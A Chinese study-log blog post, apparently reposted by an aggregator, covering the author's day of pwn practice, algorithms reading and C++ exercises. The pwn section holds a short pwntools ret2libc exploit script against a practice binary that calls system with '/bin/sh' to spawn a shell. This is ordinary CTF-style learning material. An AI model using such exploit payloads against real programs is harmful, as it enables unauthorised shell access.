9-6(8-5)学习打卡(6.24)

Posted 水番正文

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了9-6(8-5)学习打卡(6.24)相关的知识,希望对你有一定的参考价值。

今天又是被企业输出压力的一天,这么说来我也该考些证了,发现现在培训的机构的人员配置都是要有说手和技术人员,真是感觉挺有意思,这段时间的学习到了平静期,继续坚持--6.24

6.24 To do list:

1.每日Pwn学习

2.算法导论看到生日驳论

3.CPP第五章练习加校对,向下浏览十页

一:每日Pwn学习

第十九节:

学习文章:

pwn tools入门(文档)

https://blog.csdn.net/zhy025907/article/details/90573571

https://www.jianshu.com/p/8d6b605eb7fc

https://www.jianshu.com/p/d3187a63c582

http://www.91ri.org/14382.html

https://www.jianshu.com/p/355e4badab50

第二十节:

再再再复习一下调用函数后第一个地址是预留函数地址 然后才是第一个参数

或另一个exp

from pwn import * context(arch = "i386",os = "linux") p = process("./ret2libc1") e = ELF("./ret2libc1") #标准开头 要习惯这样写开头 offset = 112 system_plt_addr = e.symbols["system"] #注意命名加plt,是在plt表找的 bin_sh_addr = e.search("/bin/sh").next() payload = offset * "P" + p32(system_plt_addr) + p32(1) + p32(bin_sh_addr) p.sendlineafter("RET2LIBC >_<\\n",payload) #\\n细节看下 p.interactive()

当r了之后,是在下一行,说明有个换行符,注意小细节。

二:算法导论

看完了第五章(实际上很多没搞懂和第四章结尾一言难尽),结束了第一部分 基础知识,明天开始第二部分!紧张刺激的各种排序算法。(好饿淦饭去了

三:CPP

浏览到125页

今天眼睛是进洗面奶了??最近胖了好多,从现在开始要注意饮食。

以上是关于9-6(8-5)学习打卡(6.24)的主要内容,如果未能解决你的问题,请参考以下文章

9-6(8-5?)学习打卡(6.16)

9-6学习打卡(6.12)

9-6学习打卡(6.22)

9-6 (9-1?) 学习打卡(6.15)

9-6 学习打卡 (9.6)

9-6学习打卡(6.14)